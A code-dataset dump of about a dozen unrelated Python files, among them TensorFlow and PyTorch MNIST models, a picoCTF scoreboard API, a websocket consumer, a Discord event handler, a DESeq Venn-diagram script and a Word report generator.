#regularizer=tf.contrib.layers.l2_regularizer(REGULARIZATION_RATE)\n #计算模型的正则化损失\n #regularization=regularizer(weights1)+regularizer(weights2)\n #总损失等于交叉熵损失和正则化损失的和\n loss=cross_entropy_mean+tf.add_n(tf.get_collection('losses')) #regularization\n #设置指数衰减的学习率\n learning_rate = tf.train.exponential_decay(LEARNING_RATE_BASE,global_step,mnist.train.num_examples/BATCH_SIZE,LEARNING_RATE_DECAY,staircase=True) \n train_step=tf.train.GradientDescentOptimizer(learning_rate).minimize(loss,global_step=global_step)\n with tf.control_dependencies([train_step,variables_averages_op]):train_op=tf.no_op(name='train')\n \n #初始化tensorflow持久化类\n saver=tf.train.Saver()\n ##初始化会话并开始训练过程\n with tf.Session() as sess:\n tf.global_variables_initializer().run()\n print(\"****************开始训练************************\") \n # validate_feed={x:mnist.validation.images,y_:mnist.validation.labels}\n \n #准备测试数据.\n #test_feed={x:mnist.test.images,y_:mnist.test.labels}\n \n \n #迭代地训练神经网络\n for i in range(TRAINING_STEPS):\n xs,ys=mnist.train.next_batch(BATCH_SIZE)\n reshaped_xs = np.reshape(xs, (BATCH_SIZE, \n mnist_inference.IMAGE_SIZE, \n mnist_inference.IMAGE_SIZE, \n mnist_inference.NUM_CHANNELS))\n train_op_renew,loss_value, step=sess.run([train_op,loss,global_step],\n feed_dict={x:reshaped_xs,y_:ys})\n \n if i%1000==0:\n print(\"After %d training step(s),loss on training batch is %g.\"%(step,loss_value))\n \n saver.save(sess,os.path.join(MODEL_SAVE_PATH,MODEL_NAME),global_step=global_step)\n \ndef main(argv=None):\n mnist=input_data.read_data_sets(\"./\",one_hot=True)\n train(mnist)\nif __name__=='__main__':\n tf.app.run()\n","sub_path":"mnist_train.py","file_name":"mnist_train.py","file_ext":"py","file_size_in_byte":4117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"624998295","text":"import api\nimport bson\nimport math\nfrom api.annotations import (api_wrapper, block_after_competition,\n block_before_competition, check_csrf, log_action,\n require_admin, require_login, require_teacher)\nfrom api.common import WebError, WebSuccess\nfrom flask import (Blueprint, Flask, render_template, request,\n send_from_directory, session)\n\nblueprint = Blueprint(\"stats_api\", __name__)\nscoreboard_page_len = 50\n\n\n@blueprint.route('/team/solved_problems', methods=['GET'])\n@api_wrapper\n@require_login\n@block_before_competition(WebError(\"The competition has not begun yet!\"))\ndef get_team_solved_problems_hook():\n tid = request.args.get(\"tid\", None)\n stats = {\n \"problems\": api.stats.get_problems_by_category(),\n \"members\": api.stats.get_team_member_stats(tid)\n }\n\n return WebSuccess(data=stats)\n\n\n@blueprint.route('/team/score_progression', methods=['GET'])\n@api_wrapper\n@require_login\n@block_before_competition(WebError(\"The competition has not begun yet!\"))\ndef get_team_score_progression():\n category = request.args.get(\"category\", None)\n\n tid = api.user.get_team()[\"tid\"]\n\n return WebSuccess(\n data=api.stats.get_score_progression(tid=tid, category=category))\n\n\n@blueprint.route('/scoreboard', defaults={'board': None, 'page': 1}, methods=['GET'])\n@blueprint.route('/scoreboard//', methods=['GET'])\n@api_wrapper\n@block_before_competition(WebError(\"The competition has not begun yet!\"))\ndef get_scoreboard_hook(board, page):\n def get_user_pos(scoreboard, tid):\n for pos, team in enumerate(scoreboard):\n if team[\"tid\"] == tid:\n return pos\n return 1\n\n user = None\n if api.auth.is_logged_in():\n user = api.user.get_user()\n\n # Old board, limit 1-50\n if board is None:\n result = {'tid': 0, 'groups': []}\n global_board = api.stats.get_all_team_scores(include_ineligible=True)\n result['global'] = {\n 'name': 'global',\n 'pages': math.ceil(len(global_board) / scoreboard_page_len),\n 'start_page': 1\n }\n if user is None:\n result['global']['scoreboard'] = global_board[:scoreboard_page_len]\n else:\n result['tid'] = user['tid']\n global_pos = get_user_pos(global_board, user[\"tid\"])\n start_slice = math.floor(global_pos / 50) * 50\n result['global']['scoreboard'] = global_board[start_slice:start_slice + 50]\n result['global']['start_page'] = math.ceil((global_pos + 1) / 50)\n\n result['country'] = user[\"country\"]\n student_board = api.stats.get_all_team_scores()\n student_pos = get_user_pos(student_board, user[\"tid\"])\n start_slice = math.floor(student_pos / 50) * 50\n result['student'] = {\n 'name': 'student',\n 'pages': math.ceil(len(student_board) / scoreboard_page_len),\n 'scoreboard': student_board[start_slice:start_slice + 50],\n 'start_page': math.ceil((student_pos + 1) / 50),\n }\n\n for group in api.team.get_groups(uid=user[\"uid\"]):\n # this is called on every scoreboard pageload and should be cached\n # to support large groups\n group_board = api.stats.get_group_scores(gid=group['gid'])\n group_pos = get_user_pos(group_board, user[\"tid\"])\n start_slice = math.floor(group_pos / 50) * 50\n result['groups'].append({\n 'gid':\n group['gid'],\n 'name':\n group['name'],\n 'scoreboard':\n group_board[start_slice:start_slice + 50],\n 'pages': math.ceil(len(group_board) / scoreboard_page_len),\n 'start_page': math.ceil((group_pos + 1) / 50),\n })\n\n return WebSuccess(data=result)\n else:\n if board in [\"groups\", \"global\", \"student\"]:\n # 1-index page\n start = scoreboard_page_len * (page - 1)\n end = start + scoreboard_page_len\n result = []\n if api.auth.is_logged_in():\n user = api.user.get_user()\n if board == \"groups\":\n for group in api.team.get_groups(uid=user.get(\"uid\")):\n group_board = api.stats.get_group_scores(gid=group['gid'])\n result.append({\n 'gid':\n group['gid'],\n 'name':\n group['name'],\n 'scoreboard':\n group_board[start:end]\n })\n elif board == \"global\":\n result = api.stats.get_all_team_scores(include_ineligible=True)[start:end]\n elif board == \"student\":\n result = api.stats.get_all_team_scores()[start:end]\n else:\n result = []\n return WebSuccess(data=result)\n else:\n return WebError(\"A valid board must be specified\")\n\n\n@blueprint.route('/top_teams/score_progression', methods=['GET'])\n@api_wrapper\ndef get_top_teams_score_progressions_hook():\n include_ineligible = request.args.get(\"include_ineligible\", \"false\")\n include_ineligible = bson.json_util.loads(include_ineligible)\n\n return WebSuccess(\n data=api.stats.get_top_teams_score_progressions(\n include_ineligible=include_ineligible))\n\n\n@blueprint.route('/group/score_progression', methods=['GET'])\n@api_wrapper\ndef get_group_top_teams_score_progressions_hook():\n gid = request.args.get(\"gid\", None)\n return WebSuccess(\n data=api.stats.get_top_teams_score_progressions(gid=gid, include_ineligible=True))\n\n\n@blueprint.route('/registration', methods=['GET'])\n@api_wrapper\ndef get_registration_count_hook():\n return WebSuccess(data=api.stats.get_registration_count())\n","sub_path":"picoCTF-web/api/routes/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":6016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"176278099","text":"import numpy as np\r\nimport os\r\n\r\n\r\ndef get_files(filename):\r\n class_train = []\r\n label_train = []\r\n for train_class in os.listdir(filename):\r\n for pic in os.listdir(filename+train_class):\r\n name = train_class.split(sep='.')\r\n class_train.append(filename+train_class+'/'+pic)\r\n label_train.append(name[0])\r\n temp = np.array([class_train,label_train])\r\n temp = temp.transpose()\r\n # shuffle the samples\r\n np.random.shuffle(temp)\r\n # after transpose, images is in dimension 0 and label in dimension 1\r\n image_list = list(temp[:, 0])\r\n label_list = list(temp[:, 1])\r\n label_list = [int(i) for i in label_list]\r\n # print(label_list)\r\n return image_list, label_list\r\n\r\n\r\ndata_dir = 'D:/data/birddata/CUB_200_2011/images/'\r\nimage, label = get_files(data_dir)\r\n","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"24029453","text":"import time\nimport httplib2\n\n\nclass Timer:\n def __enter__(self):\n self.start = time.time()\n return self\n\n def __exit__(self, *args):\n self.end = time.time()\n self.interval = self.end - self.start\n print('Execution time: %.03f sec.' % self.interval)\n return self\n\n\ntry:\n with Timer() as t:\n #time.sleep(1.5)\n conn = httplib2.HTTPConnection('google.com')\n conn.request('GET', '/')\nexcept:\n print('Connection failed')","sub_path":"Python/lab15.py","file_name":"lab15.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"316836824","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass MyNet(nn.Module):\n\tdef __init__(self):\n\t\tsuper(MyNet, self).__init__()\n\t\tif torch.cuda.is_available():\n\t\t\tdevice = torch.device(f\"cuda:0\")\n\t\telse:\n\t\t\tdevice = torch.device(\"cpu\")\n\t\tself.conv1 = nn.Conv2d(1,32,3,1).to(device)\n\t\tself.dropout1 = nn.Dropout2d(0.5).to(device)\n\t\tself.conv2 = nn.Conv2d(32,64,3,1).to(device)\n\t\tself.dropout2 = nn.Dropout2d(0.75).to(device)\n\t\tself.fc1 = nn.Linear(9216, 128).to(device)\n\t\tself.fc2 = nn.Linear(128,20).to(device)\n\t\tself.fc3 = nn.Linear(20,10).to(device)\n\n\tdef forward(self, x):\n\t\tx = self.conv1(x)\n\t\tx = self.dropout1(x)\n\t\tx = F.relu(x)\n\t\tx = self.conv2(x)\n\t\tx = self.dropout2(x)\n\t\tx = F.max_pool2d(x,2)\n\t\tx = torch.flatten(x,1)\n\n\t\tx = self.fc1(x)\n\t\tx = F.relu(x)\n\t\tx = self.fc2(x)\n\t\tx = F.relu(x)\n\t\tx = self.fc3(x)\n\n\t\toutput = F.log_softmax(x, dim = 1)\n\t\treturn output\n\n","sub_path":"c2/my_net.py","file_name":"my_net.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"406591149","text":"import random\ncount=0\ndef myroll():\n\treturn random.randint(1,6)\n\nwhile(count<=100):\n\tn=input(\"Press R to roll the dice\")\n\tif(n=='R'):\n\t\tR=myroll()\n\t\tcount=count+R\n\t\tprint(\"YOU GOT\",R)\n\t\tprint(\"NEW POSITION IS\",count)\n\t\tif(count==8):\n\t\t\tcount=37\n\t\t\tprint(\"i got the ladder i'm climbing to the num 37\")\n\t\telif(count==11):\n\t\t\tcount=2\n\t\t\tprint(\"what the hell a snake bit me now i got back to the num 2\")\n\t\telif(count==13):\n\t\t\tcount=34\n\t\t\tprint(\"i got the ladder i'm climbing to the num 34\")\n\t\telif(count==38):\n\t\t\tcount=9\n\t\t\tprint(\"what the hell a snake bit me now i got back to the num 9\")\n\t\telif(count==40):\n\t\t\tcount=68\n\t\t\tprint(\"i got the ladder i'm climbing to the num 68\")\n\t\telif(count==52):\n\t\t\tcount=81\n\t\t\tprint(\"i got the ladder i'm climbing to the num 81\")\n\t\telif(count==65):\n\t\t\tcount=46\n\t\t\tprint(\"what the hell a snake bit me now i got back to the num 46\")\n\t\telif(count==76):\n\t\t\tcount=97\n\t\t\tprint(\"i got the ladder i'm climbing to the num 97\")\n\t\telif(count==89):\n\t\t\tcount=70\n\t\t\tprint(\"what the hell a snake bit me now i got back to the num 70\")\n\t\telif(count==93):\n\t\t\tcount=64\n\t\t\tprint(\"what the hell a snake bit me now i got back to the num 64\")","sub_path":"labs6a.py","file_name":"labs6a.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"485782406","text":"from channels.generic.websocket import WebsocketConsumer\nfrom asgiref.sync import async_to_sync\nimport json\nfrom . import models\nfrom functools import reduce\nfrom core import logging\nlogger = logging.getLogger(__name__)\n\n\nclass ChatConsumer(WebsocketConsumer):\n def connect(self):\n self.room_group_name = \"events\"\n async_to_sync(self.channel_layer.group_add)(\n self.room_group_name, self.channel_name\n )\n self.accept()\n\n def disconnect(self, close_code):\n async_to_sync(self.channel_layer.group_discard)(\n self.room_group_name, self.channel_name\n )\n\n def receive(self, text_data):\n message = json.loads(text_data)\n async_to_sync(self.channel_layer.group_send)(\n self.room_group_name, {\"type\": \"broadcast\", \"message\": message},\n )\n\n def broadcast(self, event):\n message = event[\"message\"]\n logger.debug(\"Broadcast: \", message)\n self.send(text_data=json.dumps(message))\n\n def events_alarm(self, event):\n logger.debug(\"Alarm: \", event)\n self.send(text_data=json.dumps(event))\n","sub_path":"backend_rest/websocket/consumers.py","file_name":"consumers.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"306802234","text":"import tensorflow as tf\nsess = tf.Session()\n# 特征数据\nfeatures = {\n 'department': ['sport', 'travelling','drawing', 'gardening'],\n}\n# 特征列\ndepartment = tf.feature_column.categorical_column_with_hash_bucket('department', 5, dtype=tf.string)\ndepartment_indicator = tf.feature_column.indicator_column(department)\ndepartment_one_hot = tf.feature_column.input_layer(features, [department_indicator])\n\nwith tf.Session() as session:\n print(session.run([department_one_hot]))\n\"—————1—————\"\n# print columns\ncolumns = tf.feature_column.embedding_column(department, dimension=4)\n# 输入层(数据,特征列)\ninputs = tf.feature_column.input_layer(features, columns)\n# 初始化并运行\ninit = tf.global_variables_initializer()\nsess.run(tf.tables_initializer())\nsess.run(init)\n\nv = sess.run(inputs)\nprint(v)","sub_path":"source/sparrow/tensorflow/feature/tensorflow_embedding.py","file_name":"tensorflow_embedding.py","file_ext":"py","file_size_in_byte":843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"143409196","text":"from apollo import emojis as emoji\nfrom apollo.services import DeleteEvent\nfrom apollo.services import UpdateResponse\n\n\nEMOJI_STATUSES = {\n emoji.CHECK: 'accepted',\n emoji.QUESTION: 'alternate',\n emoji.CROSS: 'declined'\n }\n\n\nclass HandleEventReaction:\n\n def __init__(self, bot, session, event, payload):\n self.bot = bot\n self.session = session\n self.event = event\n self.payload = payload\n self.member = bot.find_guild_member(payload.guild_id, payload.user_id)\n\n\n async def call(self):\n if self.payload.emoji.name == emoji.SKULL:\n await DeleteEvent(\n self.bot,\n self.session,\n self.event,\n self.member\n ).call()\n elif EMOJI_STATUSES.get(self.payload.emoji.name):\n await UpdateResponse(\n self.bot,\n self.session,\n self.event,\n self.payload\n ).call()\n\n try:\n await self.bot.remove_reaction(self.payload)\n except:\n pass\n","sub_path":"apollo/services/handle_event_reaction.py","file_name":"handle_event_reaction.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"507891633","text":"import sys\nimport os\nsys.path.append(os.path.dirname(os.getcwd())) #将当前库加入路径\n\nfrom docx import Document\nfrom docx.enum.text import WD_ALIGN_PARAGRAPH, WD_PARAGRAPH_ALIGNMENT\nfrom docx.shared import Inches\nfrom docx.shared import Pt\nfrom specificStyle import randomLengthBlank, re_format\nimport re\nimport numpy as np\nfrom scipy import interpolate\nfrom xlmParse.xlmParse import *\nfrom tableFigPlot import plot_figSaving\n\n\n\n\"\"\"\n// target: 输入数据处理\n// input: test_condition, outDict是xlmParse模块中xlm2dict的返回值\n// output: test_condition, retDict\n\"\"\"\ndef dataFilter(test_condition, outDict):\n # 取第二次测试结果\n outDict_lastResult = outDict[1]\n retDict = {}\n measurement_index = 1\n # 将列表字典化\n for item in outDict_lastResult:\n if item[1] is None:\n retDict[item[0] + str(measurement_index)] = item[2] # 处理measurement标签,且存在多个measurement标签\n measurement_index += 1\n else:\n retDict[item[0]] = item[1]\n\n #记录measurement的长度\n retDict[\"measureSize\"] = measurement_index - 1\n\n #处理数值化的部分\n re_filter = re.match(r\"(\\d+.?\\d*)((k|K|M)Hz)\", test_condition[\"testrate\"])\n if re_filter.group(3) == \"k\" or re_filter.group(3) == \"K\":\n test_condition[\"testFreqNum\"] = float(re_filter.group(1)) * 1e3\n test_condition[\"divFreqStr\"] = str( float(re_filter.group(1))/float(retDict[\"lit\"]) ) + re_filter.group(2)\n else:\n test_condition[\"testFreqNum\"] = float(re_filter.group(1)) * 1e6\n test_condition[\"divFreqStr\"] = str( float(re_filter.group(1))/float(retDict[\"lit\"]) ) + re_filter.group(2)\n \n return test_condition, retDict\n \n\n\"\"\"\n// target: measurement数据表格\n// input: test_condition, retDict: dataFilter的返回值\n// output: tableArray\n\"\"\"\ndef measurementTable(test_condition, retDict):\n measurementIndex = 1\n tableArray = np.zeros((retDict[\"measureSize\"], 4), dtype = float)\n for measurementIndex in range(1, retDict[\"measureSize\"] + 1):\n keyName = \"measurement\" + str(measurementIndex)\n Bias = float( retDict[keyName][\"bias\"] )\n ## overBias = \"xxx\"\n DE = ( float(retDict[keyName][\"illcount1\"]) - float(retDict[keyName][\"darkcount1\"]) ) / \\\n ( float(retDict[\"mu\"]) * float(retDict[\"samplesecs\"])* test_condition[\"testFreqNum\"] )\n DCP = float(retDict[keyName][\"darkcount1\"]) / ( float(retDict[\"lit\"]) * float(retDict[\"samplesecs\"])* test_condition[\"testFreqNum\"] )\n APP = ( float(retDict[keyName][\"illcount2\"]) - float(retDict[keyName][\"darkcount2\"]) ) / \\\n ( float(retDict[\"samplesecs\"])* test_condition[\"testFreqNum\"] )\n\n tableArray[measurementIndex-1, 0] = Bias\n tableArray[measurementIndex-1, 1] = DE\n tableArray[measurementIndex-1, 2] = DCP\n tableArray[measurementIndex-1, 3] = APP\n\n return tableArray\n \n \n\n \n\n\"\"\"\n// target: 自动生成测试报告\n// input: test_condition, retDict: dataFilter的返回值\n// output: None\n\"\"\"\ndef DocAutoGene(test_condition, retDict):\n\n \"\"\"\n // 空白文档生成\n \"\"\"\n document = Document()\n\n\n \"\"\"\n // logo, corner lables\n // 使用表格,将图片和文字居于一行\n // test_conditon[\"product\"], retDict[\"date\"]\n \"\"\"\n table = document.add_table(rows=1, cols=2)\n\n row1 = table.rows[0]\n paragraph = row1.cells[0].paragraphs[0] \n run = paragraph.add_run() \n run.add_picture('logo.png', width=Inches(2.5), height=Inches(0.7))\n\n row1 = table.rows[0]\n row1.cells[1].text = randomLengthBlank(30) + \"product: \" + test_condition[\"product\"] + \"\\n\" + \\\n randomLengthBlank(30) + \"date: \" + retDict[\"date\"]\n\n paragraph_format = paragraph.paragraph_format\n paragraph_format.space_after = Pt(12)\n\n\n \"\"\"\n // test_condition[\"product\"], etDict[\"station\"], test_condition[\"boxsn\"], retDict[\"date\"]\n // test_condition[\"testrate\"], test_condition[\"divFreqStr\"], retDict[\"mu\"], retDict[\"gatewidthns\"]\n \"\"\"\n testMode = test_condition[\"product\"] + \" \" + retDict[\"station\"] + \" \" + \"Geiger Mode\"\n SN = \"S/N: \" + test_condition[\"deviceid\"].split(\"-\")[-1]\n testDate = 'Test Date: ' + retDict[\"date\"]\n allStr = \"{:<40s}{:<20s}{:<20s}\".format(testMode, SN, testDate)\n\n paragraph1 = document.add_paragraph( allStr )\n paragraph_format = paragraph1.paragraph_format\n paragraph_format.space_after = Pt(4)\n\n allStr = \"; \".join( [test_condition[\"testrate\"], test_condition[\"divFreqStr\"] + \" lit\",\n retDict[\"mu\"] + \" photon/pulse\", retDict[\"gatewidthns\"] + \"ns gate\",\n \"No Blanking\"] )\n paragraph2 = document.add_paragraph(allStr)\n paragraph_format = paragraph2.paragraph_format\n paragraph_format.space_after = Pt(12)\n\n\n \"\"\"\n // 如需严格对齐,还是需要采用表格的方式\n // retDict[\"disc_runaway_mv\"], retDict[\"darkrunaway\"], retDict[\"operator\"], retDict[\"temperature\"],\n // retDict[\"disc_operation_mv\"], retDict[\"trig_delay\"]\n \"\"\"\n Disc = \"Disc. Runaway: \" + retDict[\"disc_runaway_mv\"] + \"mV\"\n Dark = \"Dark Runaway: \" + retDict[\"darkrunaway\"] + \"V\"\n Operator = \"Operator: \" + retDict[\"operator\"] \n Temp = \"Temp: \" + retDict[\"temperature\"] + \"°C\"\n DiscOperating = \"Disk Operating: \" + retDict[\"disc_operation_mv\"] + \"mV\"\n TrigDelay = \"Trig Delay: \" + retDict[\"trig_delay\"] + \"nS\"\n\n allStr1 = re_format(Disc, 3, 25) + re_format(Dark, 3, 25) + re_format(Operator, 3, 25)\n allStr2 = re_format(Temp, 3, 25) + re_format(DiscOperating, 3, 25) + re_format(TrigDelay, 3, 25)\n paragraph1 = document.add_paragraph( allStr1 )\n paragraph_format = paragraph1.paragraph_format\n paragraph_format.space_after = Pt(4)\n\n paragraph2 = document.add_paragraph( allStr2 )\n paragraph_format = paragraph2.paragraph_format\n paragraph_format.space_after = Pt(12)\n\n\n \"\"\"\n // 测量表格\n \"\"\"\n tableArray = measurementTable(test_condition, retDict)\n\n \n \"\"\"\n // values at 20.0%\n \"\"\"\n # 插值 //x列需要保持升序\n data = tableArray[tableArray[:,1].argsort()]\n x_DE = 0.20\n \n tck = interpolate.splrep(data[:,1], data[:,0])\n Bias = interpolate.splev(x_DE, tck)\n\n tck = interpolate.splrep(data[:,1], data[:,2])\n DarkCount = interpolate.splev(x_DE, tck)\n DarkRate = DarkCount * test_condition[\"testFreqNum\"]\n\n tck = interpolate.splrep(data[:,1], data[:,3])\n AfterPulse = interpolate.splev(x_DE, tck)\n\n \n \n TestCondition = \"Values at 20.0% DE\"\n DarkRate = \"Dark Rate KHz: {:.2f}\".format(DarkRate)\n Bias = \"Bias: {:.2f}\".format(Bias)\n DarkCount = \"Dark Count: {:.2e}/trigger\".format(DarkCount)\n AfterPulse = \"Afterpulse: {:.1e}/trigger\".format(AfterPulse)\n\n allStr1 = \"{:<40s}\".format(TestCondition)\n allStr2 = \"{:<50s}{:<50s}\".format(DarkRate, Bias)\n allStr3 = \"{:<50s}{:<50s}\".format(DarkCount, AfterPulse)\n\n paragraph1 = document.add_paragraph( allStr1 )\n paragraph_format = paragraph1.paragraph_format\n paragraph_format.space_after = Pt(4)\n\n paragraph2 = document.add_paragraph( allStr2 )\n paragraph_format = paragraph2.paragraph_format\n paragraph_format.space_after = Pt(4)\n\n paragraph3 = document.add_paragraph( allStr3 )\n paragraph_format = paragraph3.paragraph_format\n paragraph_format.space_after = Pt(4)\n\n \"\"\"\n // table\n \"\"\"\n rowNum = retDict[\"measureSize\"] + 1 #含列标题栏\n colNum = 4\n\n table = document.add_table(rows=rowNum, cols=colNum, style=\"Light List Accent 2\")\n table.alignment = WD_ALIGN_PARAGRAPH.CENTER\n\n row1 = table.rows[0]\n\n run = row1.cells[0].paragraphs[0].add_run(\"APD Bias\")\n run.font.name = 'Times New Roman'\n run.font.size = 100000\n\n \"\"\"\n run = row1.cells[1].paragraphs[0].add_run(\"OverBias(V)\")\n run.font.name = 'Times New Roman'\n run.font.size = 100000\n \"\"\"\n\n run = row1.cells[1].paragraphs[0].add_run(\"Detection Efficiency\")\n run.font.name = 'Times New Roman'\n run.font.size = 100000\n\n run = row1.cells[2].paragraphs[0].add_run(\"Dark Count Probability/Pulse\")\n run.font.name = 'Times New Roman'\n run.font.size = 100000\n\n run = row1.cells[3].paragraphs[0].add_run(\"After Pulse Probability/Pulse\")\n run.font.name = 'Times New Roman'\n run.font.size = 100000\n\n for col in range(colNum):\n row1.cells[col].paragraphs[0].alignment = WD_PARAGRAPH_ALIGNMENT.CENTER\n\n for row in range(1, rowNum):\n for col in range(colNum):\n cell = table.cell(row, col)\n if col == 0:\n cell.text ='{:.2f}'.format(tableArray[row -1 , col])\n elif col == 1:\n cell.text ='{:.1%}'.format(tableArray[row -1 , col])\n else:\n cell.text ='{:.2e}'.format(tableArray[row -1 , col])\n \n cell.paragraphs[0].alignment = WD_PARAGRAPH_ALIGNMENT.CENTER\n\n\n \"\"\"\n // figure\n \"\"\"\n #画图并保存\n plot_figSaving(tableArray)\n document.add_picture('tableFig.png', width=Inches(6.0), height=Inches(3.0))\n\n \"\"\"\n // figure descriptor\n \"\"\"\n table = document.add_table(rows=3, cols=1, style=\"Table Grid\")\n table.alignment = WD_ALIGN_PARAGRAPH.CENTER\n\n cell = table.cell(0, 0)\n cell.text = \"Linear Mode VBr Over Temperature\"\n cell.paragraphs[0].alignment = WD_PARAGRAPH_ALIGNMENT.CENTER\n\n cell = table.cell(1, 0)\n cell.text = \"VBr 25°C\"\n cell.paragraphs[0].alignment = WD_PARAGRAPH_ALIGNMENT.CENTER\n\n cell = table.cell(2, 0)\n cell.text = \"-79.72\"\n cell.paragraphs[0].alignment = WD_PARAGRAPH_ALIGNMENT.CENTER\n\n\n \"\"\"\n // doc saving\n \"\"\"\n document.save('PGA.docx')\n\n\n\"\"\"\n// 测试与样例\n\"\"\"\nif __name__ == \"__main__\":\n in_files = r\"DOI142949-044-102-084-1750C066.xml\"\n tree = read_xml(in_files)\n test_condition, outDict = xml2dict(tree.getroot())\n\n test_condition, retDict = dataFilter(test_condition, outDict)\n DocAutoGene(test_condition, retDict)\n \n","sub_path":"DocAutoGenerate/DocAutoGenerate.py","file_name":"DocAutoGenerate.py","file_ext":"py","file_size_in_byte":10012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"548423385","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 12 15:18:02 2019\n\n@author: yolandatiao\n\"\"\"\n\n########## Create venn diagrams for DEseq output ##########\n# Author: Huitian (Yolanda) Diao\n# Nov 12, 2019\n# Add reference size for plotting comparable size circles\n\n########## Import ##########\nimport os # For changing directory\nimport pandas as pd # For using pandas in seaborn plot\nfrom matplotlib_venn import venn3, venn3_circles, venn2\nimport matplotlib.pyplot as plt\n\n########## Self defined functions ##########\ndef venn2_de_ref1000(in_dict, out_name, pval_cutoff, log2fc_cutoff):\n #padj_cutoff = 0.05\n #log2fc_cutoff = 1\n #in_dict = {\"wt6h_0h\":wt6h_0h, \"ko6h_0h\":ko6h_0h}\n #out_name = \"WT6h-0h__vs__KO6h-0h.pdf\"\n \n f1_name, f2_name = list(in_dict.keys())\n f1, f2 = in_dict[f1_name], in_dict[f2_name]\n \n tb1 = pd.read_csv(f1)\n tb1_sig = tb1[tb1['pvalue'] <= pval_cutoff]\n tb1_sig_up = tb1_sig[tb1_sig['log2FoldChange'] >= log2fc_cutoff]\n tb1_sig_dn = tb1_sig[tb1_sig['log2FoldChange'] <= - log2fc_cutoff]\n \n tb2 = pd.read_csv(f2)\n tb2_sig = tb2[tb2['pvalue'] <= pval_cutoff]\n tb2_sig_up = tb2_sig[tb2_sig['log2FoldChange'] >= log2fc_cutoff]\n tb2_sig_dn = tb2_sig[tb2_sig['log2FoldChange'] <= - log2fc_cutoff]\n \n up1 = set(list(tb1_sig_up.iloc[:, 0]))\n dn1 = set(list(tb1_sig_dn.iloc[:, 0]))\n up2 = set(list(tb2_sig_up.iloc[:, 0]))\n dn2 = set(list(tb2_sig_dn.iloc[:, 0]))\n \n set_ref = set([\"n%s\"%str(i) for i in range(0,1000)])\n \n plt.figure()\n up_name = out_name + \"_up.pdf\"\n v3c = venn3([up1, up2, set_ref], (f1_name, f2_name, \"ref1000\"))\n plt.savefig(up_name, transparent=True)\n \n plt.figure()\n dn_name = out_name + \"_dn.pdf\"\n v3c = venn3([dn1, dn2, set_ref], (f1_name, f2_name, \"ref1000\"))\n plt.savefig(dn_name, transparent=True)\n \n\n\n########## Main ##########\nwk_dir = \"/Volumes/Yolanda/Exp337CD25KONascent/2_DE-seq/4_DE_Venn\"\nos.chdir(wk_dir)\nin_base = \"/Volumes/Yolanda/Exp337CD25KONascent/2_DE-seq/0.1_original_GN/nondupr/nondupr_\"\n\n\n\n\nko6h_0h = in_base + \"KO_6h_vs_KO_0h_addGN.csv\"\nko24h_0h = in_base + \"KO_24h_vs_KO_0h_addGN.csv\"\nko48h_0h = in_base + \"KO_48h_vs_KO_0h_addGN.csv\"\nwt6h_0h = in_base + \"WT_6h_vs_WT_0h_addGN.csv\"\nwt24h_0h = in_base + \"WT_24h_vs_WT_0h_addGN.csv\"\nwt48h_0h = in_base + \"WT_48h_vs_WT_0h_addGN.csv\"\nwt_ko_6h = in_base + \"WT_6h_vs_KO_6h_addGN.csv\"\nwt_ko_24h = in_base + \"WT_24h_vs_KO_24h_addGN.csv\"\nwt_ko_48h = in_base + \"WT_48h_vs_KO_48h_addGN.csv\"\n\n\nuse_dict = {\"wt6h_0h\":wt6h_0h, \"ko6h_0h\":ko6h_0h}\nplot_name = \"WT6h-0h__vs__KO6h-0h\"\nvenn2_de_ref1000(use_dict, plot_name, 0.05, 1)\n\nuse_dict = {\"wt24h_0h\":wt24h_0h, \"ko24h_0h\":ko24h_0h}\nplot_name = \"WT24h-0h__vs__KO24h-0h\"\nvenn2_de_ref1000(use_dict, plot_name, 0.05, 1)\n\nuse_dict = {\"wt48h_0h\":wt48h_0h, \"ko48h_0h\":ko48h_0h}\nplot_name = \"WT48h-0h__vs__KO48h-0h\"\nvenn2_de_ref1000(use_dict, plot_name, 0.05, 1)\n\n###----- WT vs KO\nuse_dict = {\"wt6h_0h\":wt6h_0h, \"wt6h_ko6h\":wt_ko_6h}\nplot_name = \"WT6h-0h__vs__WT6h-KO6h\"\nvenn2_de_ref1000(use_dict, plot_name, 0.05, 1)\n\nuse_dict = {\"wt24h_0h\":wt24h_0h, \"wt24h_ko24h\":wt_ko_24h}\nplot_name = \"WT24h-0h__vs__WT24h-KO24h\"\nvenn2_de_ref1000(use_dict, plot_name, 0.05, 1)\n\nuse_dict = {\"wt48h_0h\":wt48h_0h, \"wt48h_ko48h\":wt_ko_48h}\nplot_name = \"WT48h-0h__vs__WT48h-KO48h\"\nvenn2_de_ref1000(use_dict, plot_name, 0.05, 1)\n","sub_path":"codes_locol/2_4_DEseq_Venn.py","file_name":"2_4_DEseq_Venn.py","file_ext":"py","file_size_in_byte":3370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"602889115","text":"# Create\nperson = {\n 'first_name': 'Dawid',\n 'last_name': 'Zając',\n 'age': 20\n}\n\n#use constructor\n#person2 = 